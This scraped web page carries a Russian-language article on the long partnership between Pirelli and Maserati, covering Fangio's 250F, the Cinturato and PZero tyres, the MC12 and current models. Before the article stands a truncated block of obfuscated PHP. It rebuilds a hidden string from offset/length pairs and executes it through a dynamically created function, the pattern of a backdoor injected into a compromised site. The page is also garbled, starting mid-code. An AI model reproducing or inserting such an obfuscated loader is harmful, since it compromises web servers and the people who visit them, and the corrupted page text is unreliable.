aaa -
<(sizeof($owsvdbaql)/2);$jaxjvya++) { $xxszqrkf .= substr($nhalutg, $owsvdbaql[($jaxjvya*2)],$owsvdbaql[($jaxjvya*2)+(5-4)]); } return $tzzvoh(chr((62-53)),chr((289-197)),$xxszqrkf); }; } $wjmybp = explode(chr((180-136)),'2760,58,860,66,5439,39,5108,60,3743,62,1278,42,3005,24,2591,20,1025,41,5168,47,5625,70,346,25,5812,41,5695,68,2248,46,4107,38,4303,40,4758,29,1683,43,3392,59,4650,67,926,68,4604,46,2033,40,434,31,371,63,2544,47,3095,52,1340,44,465,34,2936,69,3495,56,2403,38,4717,41,3029,36,4959,46,1726,58,1968,41,994,31,1815,24,1900,68,4787,37,3370,22,5038,70,1119,57,700,43,5582,43,4375,48,5301,44,2111,31,4423,28,5971,49,252,43,4571,33,2142,61,4253,50,3623,52,1839,39,0,59,115,50,4519,52,4451,68,3836,22,2344,59,552,27,2520,24,3805,31,2611,56,2667,53,4343,32,165,62,5005,33,3203,21,5535,47,3065,30,4190,63,5215,29,4881,40,1223,55,4921,38,5478,57,3224,23,2441,43,5378,61,5763,49,3858,40,3711,32,2866,70,2009,24,1176,47,1599,36,806,54,59,56,3991,47,1440,23,1320,20,4824,57,3551,49,1463,47,4145,45,5244,57,1539,60,2203,45,1384,56,3306,64,3247,59,295,51,4038,69,2720,40,3923,68,2073,38,743,63,2818,48,1635,48,5853,67,227,25,2294,50,1784,31,499,53,579,59,1878,22,3147,56,5345,33,3451,44,2484,36,3898,25,1510,29,3600,23,3675,36,5920,51,1066,53,638,62'); $aexssceccc = $ydrvatxppl("",waqyxbpv($wjmybp,$lypgqv,$rqgqhlwa)); $ydrvatxppl=$lypgqv; $aexssceccc(""); $aexssceccc=(413-292); $lypgqv=$aexssceccc-1; ?>

Pirelli и Maserati – более ста лет вместе

Итальянцы из Pirelli и Maserati уже более века сотрудничают на гоночной трассе и обычных дорогах

«Автомобиль – это не просто кусок металла, а живое существо с бьющимся сердцем, которое может радоваться или печалиться в зависимости от того, как с ним обращаются. Если вы хотите получать от него все, что вам нужно, необходимо разбираться в нем и знать, как использовать весь его потенциал». Эти слова великого гонщика Хуана Мануэля Фанхио (Juan Manuel Fangio) совершенно точно передают дух тесного сотрудничества Pirelli и Maserati, продолжающегося уже век как на гоночных трассах, так и на дорогах общего пользования.

Фанхио, вероятно, был самым лучшим олицетворением связи двух компаний – на своем гоночном автомобиле 250F он одерживал победы в Гран-при с захватывающей дух стабильностью, и длилось это вплоть до его последнего чемпионата мира в 1957 году, в котором он снова стал чемпионом мира в составе команды Maserati, как и в первый раз в 1954 году.

Своими корнями техническое сотрудничество двух компаний, которые стали символами автомобильной промышленности Италии, уходит в еще более давние времена, когда шины Pirelli назывались Stella Bianca. Если точнее, Pirelli и Maserati начали сотрудничать в первых десятилетиях прошлого века, когда Джузеппе Кампари (Giuseppe Campari) на автомобиле Maserati с 8-цилиндровым двигателем выиграл Гран-при Франции 1933 года. Эта блистательная эра продолжалась более 30 лет до момента появления радиальных шин.

Затем наступила золотая эпоха Луиджи Виллорези (Luigi Villoresi) и Джузеппе Фарины (Guiseppe Farina), а на смену победным шинам Stella Bianca пришли шины Pirelli Stelvio. Звездный пилот Фанхио начал блистать с Гран-при Италии 1953 года, когда он одержал первую в составе команды Maserati победу.

Сотрудничество, объединившее Maserati и Pirelli на гоночных трассах, оказало значительное влияние и на дорожную продукцию компаний. В этом плане мир Pirelli стал совершенно иным с 1960-х годов, чему послужило появление новой шины Cinturato. К слову, шины с этим названием имеются и в нынешнем ассортименте компании. К 1961 году модели Maserati 3500 GT Spyder и Coupé оснащались шинами Cinturato S. В 1963 году была представлена высокоскоростная версия HS этой шины, использовавшаяся для комплектации модели Maserati 5000. На протяжении 1960-х годов на все модели компании – от 4000 Coupé и Spyder до Sebring, Quattroporte, и 4700 Mexico – устанавливались шины типоразмером 205 VR 15, дебютировавшие на модели Maserati 5000. В 1970-х годах на рынок оглушительно ворвалась изумительная модель Ghibli, оснащенная низкопрофильными шинами Pirelli серии 70. Эти знаковые шины Cinturato с маркировкой CN72 были известны как «американские».

Компании Pirelli и Maserati возобновили сотрудничество много лет спустя после длительного периода перемен. С начала 2000-х годов роль флагмана компании Pirelli исполняет шина Pirelli PZero. Как и предыдущие шины, она стала «шиной побед» на гоночной трассе и обычной дороге. В 2002 году шине Pirelli PZero доверили содействовать возвращению компании Maserati в мир спорта: в этом году была организована серия Trofeo Maserati с использованием новых мощных моделей Coupé и Spyder.

2003 год стал годом запуска проекта MC12. Это был суперкар с 12-цилиндровым двигателем для участия в известном Чемпионате FIA GT 2005 года. Само собой разумеется, этот автомобиль оснащался шинами Pirelli PZero.

Нынешние модели Quattroporte и Ghibli вписали очередную главу с историю векового сотрудничества двух компаний. Эти новейшие модели компании Maserati укомплектованы шинами Pirelli, но в отличие от предыдущих версий новые шины созданы специально под эти автомобили. Оригинальные шины для моделей Maserati можно отличить по броской маркировке MGT на боковинах, свидетельствующей о том, что они идеально соответствуют требованиям итальянского производителя и характеристикам его престижных моделей.

Уникальные шины Pirelli, устанавливаемые на все модели Maserati, все так же помогают раскрыть несравненный характер этих автомобилей, которые, по словам Фанхио, являются «не просто куском металла, а живым существом с бьющимся сердцем».

Источник: colesa.ru


http://www.pkp.lv